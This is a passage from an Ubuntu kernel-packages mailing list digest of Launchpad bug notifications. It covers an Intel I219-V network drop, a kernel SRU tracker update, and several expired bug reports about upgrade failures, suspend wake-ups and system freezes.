connectivity. After I reconnect the connection (via re-starting the NetworkManager service) all will be fine for up to a day or so, but then I stress test it with a bunch of searches using the browser and usually I can get the Internet connectivity to drop again. Repeat the disconnect and reconnect process again (aka re-start NetworkManager) and the Internet connectivity will be fine again. The longest I've seen it go without an "Internet connectivity drop" issue is about 36 hours. I notice that the e1000e driver does not list the I219-V as a supported Ethernet interface in the Intel documentation for the Linux version of the driver. I'm not sure why that is. The I219-V is supposed to used another driver, but it's not clear there's a Linux version for of the driver for the I219-V. I'm really disappointed that I've run into this issue with Ubuntu Server LTS 18.04 on this motherboard. I had CentOS Server 7.4 (my standard server OS, a great Linux distro) on this same motherboard for a week with no issues, so I know the motherboard and the I219-V Ethernet interface are 100% good hardware wise and can work properly. CentOS 7.4 uses NetworkManager as the default for managing the Ethernet interface. The only reason I'm using Ubuntu Server 18.04 on this motherboard is because of a specific package that Ubuntu has a newer packaged version than CentOS. CentOS is extremely stable when it comes to basic server functionality. Hopefully, this bug with the I219-V Ethernet interface using the e1000e drive for Linux can be verified and a fix rolled out. To manage notifications about this bug go to: https://bugs.launchpad.net/ubuntu/+source/linux/+bug/1785171/+subscriptions -- Mailing list: https://launchpad.net/~kernel-packages Post to : kernel-packages@lists.launchpad.net Unsubscribe : https://launchpad.net/~kernel-packages More help : https://help.launchpad.net/ListHelp
[Kernel-packages] [Bug 1785242] Re: linux: 4.17.0-7.8 -proposed tracker
** Changed in: kernel-sru-workflow/prepare-package Status: In Progress => Fix Released ** Changed in: kernel-sru-workflow/prepare-package-meta Status: In Progress => Fix Released ** Changed in: kernel-sru-workflow/prepare-package-signed Status: In Progress => Fix Released ** Changed in: kernel-sru-workflow/promote-to-proposed Status: New => Fix Committed ** Tags added: block-proposed-cosmic ** Tags added: block-proposed ** Description changed: This bug is for tracking the 4.17.0-7.8 upload package. This bug will contain status and testing results related to that upload. For an explanation of the tasks and the associated workflow see: https://wiki.ubuntu.com/Kernel/kernel-sru-workflow + + kernel-phase-changed:Saturday, 04. August 2018 04:00 UTC + kernel-phase:Uploaded ** Description changed: This bug is for tracking the 4.17.0-7.8 upload package. This bug will contain status and testing results related to that upload. For an explanation of the tasks and the associated workflow see: https://wiki.ubuntu.com/Kernel/kernel-sru-workflow kernel-phase-changed:Saturday, 04. August 2018 04:00 UTC kernel-phase:Uploaded + + -- swm properties -- + phase: Uploaded -- You received this bug notification because you are a member of Kernel Packages, which is subscribed to linux in Ubuntu. https://bugs.launchpad.net/bugs/1785242 Title: linux: 4.17.0-7.8 -proposed tracker Status in Kernel SRU Workflow: In Progress Status in Kernel SRU Workflow automated-testing series: New Status in Kernel SRU Workflow prepare-package series: Fix Released Status in Kernel SRU Workflow prepare-package-meta series: Fix Released Status in Kernel SRU Workflow prepare-package-signed series: Fix Released Status in Kernel SRU Workflow promote-to-proposed series: Fix Committed Status in Kernel SRU Workflow promote-to-release series: New Status in Kernel SRU Workflow regression-testing series: New Status in linux package in Ubuntu: Confirmed Status in linux source package in Cosmic: Confirmed Bug description: This bug is for tracking the 4.17.0-7.8 upload package. This bug will contain status and testing results related to that upload. For an explanation of the tasks and the associated workflow see: https://wiki.ubuntu.com/Kernel/kernel-sru-workflow kernel-phase-changed:Saturday, 04. August 2018 04:00 UTC kernel-phase:Uploaded -- swm properties -- phase: Uploaded To manage notifications about this bug go to: https://bugs.launchpad.net/kernel-sru-workflow/+bug/1785242/+subscriptions -- Mailing list: https://launchpad.net/~kernel-packages Post to : kernel-packages@lists.launchpad.net Unsubscribe : https://launchpad.net/~kernel-packages More help : https://help.launchpad.net/ListHelp
[Kernel-packages] [Bug 1774797] Re: Trid partial upgrade.
[Expired for linux (Ubuntu) because there has been no activity for 60 days.] ** Changed in: linux (Ubuntu) Status: Incomplete => Expired -- You received this bug notification because you are a member of Kernel Packages, which is subscribed to linux in Ubuntu. https://bugs.launchpad.net/bugs/1774797 Title: Trid partial upgrade. Status in linux package in Ubuntu: Expired Bug description: Failure during inssstall ProblemType: Bug DistroRelease: Ubuntu 16.04 Package: linux-image-4.4.0-127-generic 4.4.0-127.153 ProcVersionSignature: Ubuntu 4.4.0-127.153-generic 4.4.128 Uname: Linux 4.4.0-127-generic x86_64 ApportVersion: 2.20.1-0ubuntu2.18 Architecture: amd64 AudioDevicesInUse: USERPID ACCESS COMMAND /dev/snd/controlC2: john 2399 F pulseaudio /dev/snd/controlC0: john 2399 F pulseaudio /dev/snd/controlC1: john 2399 F pulseaudio CurrentDesktop: Unity Date: Sat Jun 2 17:17:58 2018 HibernationDevice: RESUME=UUID=b75950d0-1553-48fc-83b8-e8c7d0b5d796 InstallationDate: Installed on 2016-08-22 (648 days ago) InstallationMedia: Ubuntu 16.04 LTS "Xenial Xerus" - Release amd64 (20160420.1) MachineType: System manufacturer System Product Name ProcFB: 0 radeondrmfb ProcKernelCmdLine: BOOT_IMAGE=/boot/vmlinuz-4.4.0-127-generic root=UUID=440fc4e4-fcb3-495f-a3d3-2a6e46c0dac3 ro quiet splash RelatedPackageVersions: linux-restricted-modules-4.4.0-127-generic N/A linux-backports-modules-4.4.0-127-generic N/A linux-firmware 1.157.19 RfKill: SourcePackage: linux UpgradeStatus: No upgrade log present (probably fresh install) dmi.bios.date: 03/09/2016 dmi.bios.vendor: American Megatrends Inc. dmi.bios.version: 2001 dmi.board.asset.tag: To be filled by O.E.M. dmi.board.name: A88XM-E dmi.board.vendor: ASUSTeK COMPUTER INC. dmi.board.version: Rev X.0x dmi.chassis.asset.tag: Asset-1234567890 dmi.chassis.type: 3 dmi.chassis.vendor: Chassis Manufacture dmi.chassis.version: Chassis Version dmi.modalias: dmi:bvnAmericanMegatrendsInc.:bvr2001:bd03/09/2016:svnSystemmanufacturer:pnSystemProductName:pvrSystemVersion:rvnASUSTeKCOMPUTERINC.:rnA88XM-E:rvrRevX.0x:cvnChassisManufacture:ct3:cvrChassisVersion: dmi.product.name: System Product Name dmi.product.version: System Version dmi.sys.vendor: System manufacturer To manage notifications about this bug go to: https://bugs.launchpad.net/ubuntu/+source/linux/+bug/1774797/+subscriptions -- Mailing list: https://launchpad.net/~kernel-packages Post to : kernel-packages@lists.launchpad.net Unsubscribe : https://launchpad.net/~kernel-packages More help : https://help.launchpad.net/ListHelp
[Kernel-packages] [Bug 1774994] Re: Laptop wakes up immediately after suspend or hibernation
[Expired for linux (Ubuntu) because there has been no activity for 60 days.] ** Changed in: linux (Ubuntu) Status: Incomplete => Expired -- You received this bug notification because you are a member of Kernel Packages, which is subscribed to linux in Ubuntu. https://bugs.launchpad.net/bugs/1774994 Title: Laptop wakes up immediately after suspend or hibernation Status in linux package in Ubuntu: Expired Bug description: After going into suspend (via command line or lid close), the MacBook Pro (early 2015) wakes up immediately again. Same for hibernation. Running Ubuntu 18.04. extract from dmesg for a lid-close -> suspend -> wake-up -> lid-open cycle: [0.00] Linux version 4.15.0-22-generic (buildd@lgw01-amd64-013) (gcc version 7.3.0 (Ubuntu 7.3.0-16ubuntu3)) #24-Ubuntu SMP Wed May 16 12:15:17 UTC 2018 (Ubuntu 4.15.0-22.24-generic 4.15.17) [ ... ] [ 778.968982] brcmfmac: brcmf_inetaddr_changed: fail to get arp ip table err:-23 [ 783.011399] PM: suspend entry (deep) [ 783.011400] PM: Syncing filesystems ... done. [ 783.028538] Freezing user space processes ... (elapsed 0.002 seconds) done. [ 783.030844] OOM killer disabled. [ 783.030844] Freezing remaining freezable tasks ... (elapsed 0.001 seconds) done. [ 783.032193] Suspending console(s) (use no_console_suspend to debug) [ 783.049960] sd 1:0:0:0: [sda] Synchronizing SCSI cache [ 783.054107] sd 1:0:0:0: [sda] Stopping disk [ 783.146124] thunderbolt :07:00.0: suspending... [ 783.146685] thunderbolt :07:00.0: suspend finished [ 783.146689] thunderbolt :07:00.0: stopping RX ring 0 [ 783.146698] thunderbolt :07:00.0: disabling interrupt at register 0x38200 bit 12 (0x1001 -> 0x1) [ 783.146710] thunderbolt :07:00.0: stopping TX ring 0 [ 783.146718] thunderbolt :07:00.0: disabling interrupt at register 0x38200 bit 0 (0x1 -> 0x0) [ 783.146725] thunderbolt :07:00.0: control channel stopped [ 783.246464] ACPI: Preparing to enter system sleep state S3 [ 783.418015] ACPI: EC: event blocked [ 783.418016] ACPI: EC: EC stopped [ 783.418018] PM: Saving platform NVS memory [ 783.418027] Disabling non-boot CPUs ... [ 783.434574] IRQ 65: no longer affine to CPU1 [ 783.435629] smpboot: CPU 1 is now offline [ 783.454574] IRQ 66: no longer affine to CPU2 [ 783.456378] smpboot: CPU 2 is now offline [ 783.478405] IRQ 21: no longer affine to CPU3 [ 783.478414] IRQ 43: no longer affine to CPU3 [ 783.478435] IRQ 71: no longer affine to CPU3 [ 783.479449] smpboot: CPU 3 is now offline [ 783.481656] ACPI: Low-level resume complete [ 783.481733] ACPI: EC: EC started [ 783.481734] PM: Restoring platform NVS memory [ 783.482160] Enabling non-boot CPUs ... [ 783.482240] x86: Booting SMP configuration: [ 783.482241] smpboot: Booting Node 0 Processor 1 APIC 0x2 [ 783.558589] cache: parent cpu1 should not be sleeping [ 783.687159] CPU1 is up [ 783.687212] smpboot: Booting Node 0 Processor 2 APIC 0x1 [ 783.687812] cache: parent cpu2 should not be sleeping [ 783.688001] CPU2 is up [ 783.688028] smpboot: Booting Node 0 Processor 3 APIC 0x3 [ 783.783709] cache: parent cpu3 should not be sleeping [ 783.978233] CPU3 is up [ 783.982020] ACPI: Waking up from system sleep state S3 [ 784.093246] pcieport :06:03.0: quirk: waiting for thunderbolt to reestablish PCI tunnels... [ 784.093249] pcieport :06:04.0: quirk: waiting for thunderbolt to reestablish PCI tunnels... [ 784.093362] pcieport :06:06.0: quirk: waiting for thunderbolt to reestablish PCI tunnels... [ 784.093475] pcieport :06:05.0: quirk: waiting for thunderbolt to reestablish PCI tunnels... [ 784.112655] thunderbolt :07:00.0: control channel starting... [ 784.112660] thunderbolt :07:00.0: starting TX ring 0 [ 784.112673] thunderbolt :07:00.0: enabling interrupt at register 0x38200 bit 0 (0x0 -> 0x1) [ 784.112677] thunderbolt :07:00.0: starting RX ring 0 [ 784.112689] thunderbolt :07:00.0: enabling interrupt at register 0x38200 bit 12 (0x1 -> 0x1001) [ 784.112696] thunderbolt :07:00.0: resuming... [ 784.112699] thunderbolt :07:00.0: resetting switch at 0 [ 784.113249] thunderbolt :07:00.0: 0: resuming switch [ 784.144609] thunderbolt :07:00.0: resume finished [ 784.213878] thunderbolt :07:00.0: resetting error on 0:b. [ 784.213897] thunderbolt :07:00.0: 0:b: hotplug: scanning [ 784.213901] thunderbolt :07:00.0: 0:b: hotplug: no switch found [ 784.213984] thunderbolt :07:00.0: resetting error on 0:c. [ 784.213995] thunderbolt :07:00.0: 0:c: hotplug: scanning [ 784.213999] thunderbolt :07:00.0: 0:c: hotplug: no switch found [ 785.225640] ACPI: EC: event unblocked [ 785.226264] brcmfmac: brcmf_fil_cmd_data: bus is down. we have nothing to do. [ 785.226273] ACPI: button: The lid device is not
[Kernel-packages] [Bug 1775044] Re: continuously freeze the system
[Expired for linux (Ubuntu) because there has been no activity for 60 days.] ** Changed in: linux (Ubuntu) Status: Incomplete => Expired -- You received this bug notification because you are a member of Kernel Packages, which is subscribed to linux in Ubuntu. https://bugs.launchpad.net/bugs/1775044 Title: continuously freeze the system Status in linux package in Ubuntu: Expired Bug description: I am unable to use the system properly because it is continuously freezing, please fix the problems ProblemType: Bug DistroRelease: Ubuntu 17.10 Package: linux-image-4.13.0-43-generic 4.13.0-43.48 ProcVersionSignature: Ubuntu 4.13.0-43.48-generic 4.13.16 Uname: Linux 4.13.0-43-generic i686 ApportVersion: 2.20.7-0ubuntu3.9 Architecture: i386 AudioDevicesInUse: USERPID ACCESS COMMAND /dev/snd/controlC0: gunikhan 1720 F pulseaudio CurrentDesktop: Unity:Unity7:ubuntu Date: Mon Jun 4 23:12:31 2018 HibernationDevice: RESUME=UUID=1a5d8668-3638-45e8-8ca9-921f550d0b82 InstallationDate: Installed on 2018-03-01 (95 days ago) InstallationMedia: Ubuntu 17.04 "Zesty Zapus" - Release i386 (20170412) MachineType: Dell Inc. Vostro 1015 ProcFB: 0 inteldrmfb ProcKernelCmdLine: BOOT_IMAGE=/boot/vmlinuz-4.13.0-43-generic root=UUID=ee099561-bdde-44f5-b4cc-fbd3241f4922 ro quiet splash vt.handoff=7 RelatedPackageVersions: linux-restricted-modules-4.13.0-43-generic N/A linux-backports-modules-4.13.0-43-generic N/A linux-firmware 1.169.3 SourcePackage: linux UpgradeStatus: No upgrade log present (probably fresh install) dmi.bios.date: 11/26/2010 dmi.bios.vendor: Dell Inc. dmi.bios.version: A06 dmi.board.name: 0TFXK9 dmi.board.vendor: Dell Inc. dmi.chassis.type: 8 dmi.chassis.vendor: Dell Inc. dmi.modalias: dmi:bvnDellInc.:bvrA06:bd11/26/2010:svnDellInc.:pnVostro1015:pvr:rvnDellInc.:rn0TFXK9:rvr:cvnDellInc.:ct8:cvr: dmi.product.name: Vostro 1015 dmi.sys.vendor: Dell Inc. To manage notifications about this bug go to: https://bugs.launchpad.net/ubuntu/+source/linux/+bug/1775044/+subscriptions -- Mailing list: https://launchpad.net/~kernel-packages Post to : kernel-packages@lists.launchpad.net Unsubscribe : https://launchpad.net/~kernel-packages More help : https://help.launchpad.net/ListHelp
[Kernel-packages] [Bug 1774881] Re: package linux-image-4.15.0-20-generic 4.15.0-20.21 failed to install/upgrade: installed linux-image-4.15.0-20-generic package pre-removal script subprocess returned
[Expired for linux (Ubuntu) because there has been no activity for 60 days.] ** Changed in: linux (Ubuntu) Status: Incomplete => Expired -- You received this bug notification because you are a member of Kernel Packages, which is subscribed to linux in Ubuntu. https://bugs.launchpad.net/bugs/1774881 Title: package linux-image-4.15.0-20-generic 4.15.0-20.21 failed to install/upgrade: installed linux-image-4.15.0-20-generic package pre- removal script subprocess returned error exit status 1 Status in linux package in Ubuntu: Expired Bug description: Happened after a reboot after a kernel update. ProblemType: Package DistroRelease: Ubuntu 18.04 Package: linux-image-4.15.0-20-generic 4.15.0-20.21 ProcVersionSignature: Ubuntu 4.15.0-22.24-generic 4.15.17 Uname: Linux 4.15.0-22-generic x86_64 ApportVersion: 2.20.9-0ubuntu7.1 Architecture: amd64 Date: Sun Jun 3 17:41:51 2018 ErrorMessage: installed linux-image-4.15.0-20-generic package pre-removal script subprocess returned error exit status 1 InstallationDate: Installed on 2018-01-21 (132 days ago) InstallationMedia: Xubuntu 17.10 "Artful Aardvark" - Release amd64 (20180105) Python3Details: /usr/bin/python3.6, Python 3.6.5, python3-minimal, 3.6.5-3 PythonDetails: /usr/bin/python2.7, Python 2.7.15rc1, python-minimal, 2.7.15~rc1-1 RelatedPackageVersions: dpkg 1.19.0.5ubuntu2 apt 1.6.1 SourcePackage: linux-signed Title: package linux-image-4.15.0-20-generic 4.15.0-20.21 failed to install/upgrade: installed linux-image-4.15.0-20-generic package pre-removal script subprocess returned error exit status 1 UpgradeStatus: Upgraded to bionic on 2018-04-30 (34 days ago) To manage notifications about this bug go to: https://bugs.launchpad.net/ubuntu/+source/linux/+bug/1774881/+subscriptions -- Mailing list: https://launchpad.net/~kernel-packages Post to : kernel-packages@lists.launchpad.net Unsubscribe : https://launchpad.net/~kernel-packages More help : https://help.launchpad.net/ListHelp